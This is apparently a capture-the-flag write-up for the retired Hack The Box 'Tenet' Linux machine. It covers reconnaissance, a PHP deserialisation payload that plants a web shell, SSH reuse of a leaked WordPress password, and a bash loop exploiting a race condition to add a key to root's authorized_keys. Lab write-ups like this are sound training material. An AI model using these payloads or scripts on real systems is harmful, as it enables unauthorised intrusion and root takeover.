Feature Image

This is a Medium rated Linux machine that focuses on an attacker’s enumeration skills and understanding on the concepts of PHP deserialisation as well as race conditions.

This machine was retired on 13 June 2021 (SGT).

I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb.

kali@kali:~$ echo " tenet.htb" | sudo tee -a /etc/hosts

Reconnaissance and Enumeration


Running a nmap TCP port scan revealed the following open TCP ports:

kali@kali:~$ nmap -sT -sV -sC -O -p- tenet.htb
Nmap scan report for tenet.htb (
Host is up (0.044s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.75 seconds

80/tcp (Apache Web Server, WordPress)

Browsing to revealed a default page for Apache. Nothing interesting here. Our Nmap results showed a WordPress site when enumerated with the domain name tenet.htb.

WordPress is an open-source content management system written in PHP commonly used as a blog.

Looking through the content of the WordPress site, an interesting comment surfaces under the post titled Migration.

The post mentioned of migrating from a flat file structure to “something a bit more substantial”, which could be inferred as this WordPress site. My understanding of the comment is that a particular file sator.php and its backup has not been removed and could still be accessed somehow. Assuming that tenet.htb is a WordPress virtual host instance (in a separate directory on the web server), I tried requesting for the file via the machine’s IP address

Remembering the backup mentioned in the comment, I tried appending the usual file extension used for backups .bak and it worked. The file is downloaded and could be viewed locally.


class DatabaseExport
    public $user_file = 'users.txt';
    public $data = '';

    public function update_db()
        echo '[+] Grabbing users from text file <br>';
        $this-> data = 'Success';

    public function __destruct()
        file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        echo '[] Database updated <br>';
    //  echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


PHP Deserialisation Vulnerability

Looking at the source code of sator.php, unsanitised user data via the GET parameter arepo is passed into the unserialize PHP function, allowing attackers to potentially perform PHP object injection by exploiting vulnerable classes present in the application. A class is vulnerable if it contains PHP magic methods. In the case of sator.php, the class DatabaseExport is a very juicy candidate as it contains the magic method __destruct(), which in this case writes the value of the variable data to user_file.

O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"zx.php";s:4:"data";s:28:"<?php system($_GET['c']); ?>";}

The above payload will allow me to create a file zx.php containing PHP code to execute commands on the system. To execute the exploit, add the payload to the request The web shell can then be access from

Initial Foothold: www-data

With a web shell, our presence is pretty limited but there should be information lying around on the system for us to gain persistence. Listing the directory of /home and the contents of /etc/passwd revealed the presence of the user neil. Enumerating the WordPress configuration revealed a password that possibly belongs to neil.

Using the credentials neil:Opera2112, SSH into the machine.

kali@kali:~$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)



The user flag is located in the home directory of neil.

neil@tenet:~$ ls -l
total 4
-r-------- 1 neil neil 33 Jan 22 16:52 user.txt
neil@tenet:~$ cat user.txt

Local System Enumeration

Running LinEnum revealed that neil is able to execute sudo on the script /usr/local/bin/enableSSH.sh. This can also be achieved by executing sudo -l as neil.



checkAdded() {

    sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

    if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

        /bin/echo "Successfully added $sshName to authorized_keys file!"


        /bin/echo "Error in adding $sshName to authorized_keys file!"



checkFile() {

    if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

        /bin/echo "Error in creating key file!"

        if [[ -f $1 ]]; then /bin/rm $1; fi

        exit 1



addKey() {

    tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

    (umask 110; touch $tmpName)

    /bin/echo $key >>$tmpName

    checkFile $tmpName

    /bin/cat $tmpName >>/root/.ssh/authorized_keys

    /bin/rm $tmpName


key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

The script enableSSH.sh writes a hard-coded SSH public key into a temporary file created using mktemp with a random name starting with /tmp/ssh-, then appending the contents of the temporary file to /root/.ssh/authorized_keys. This will allow a user possessing the private key that is paired with the appended public key to SSH into the machine as root.

Exploiting Race Condition in enableSSH.sh

Before creating the temporary file, umask 110 is executed which makes all files created by the script afterwards writable by all users. Creating the temporary file also introduces a race condition where another process could overwrite the contents of the file before the next line in the script is executed. We can take advantage of this by finding files in /tmp starting with ssh- constantly and overwrite them with our own SSH public key.

#!/usr/bin/env bash

TDIR=$(mktemp -d)
echo "ssh-ed25519 AAAA****************************************************************" > ${TDIR}/sshkey

while true; do
    find /tmp -maxdepth 1 -iname "ssh-*" -type f -exec cp ${TDIR}/sshkey {} \;

The above bash script will continuously find a file in /tmp that starts with ssh- and copy my SSH key (hard-coded into the script) to it. I opened a second SSH session and executed the script, and ran sudo enableSSH.sh in the original SSH session. As this is exploiting a race condition, it may take a few tries to succeed.

Once done, stop the script and SSH to the machine as root with your SSH private key.

kali@kali:~$ ssh -i /path/to/ssh_key [email protected]
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)



The root flag is located in the home directory of root.

root@tenet:~# ls -l
total 4
-r--------  1 root root   33 Jan 22 16:52 root.txt
root@tenet:~# cat root.txt

References and Further Reading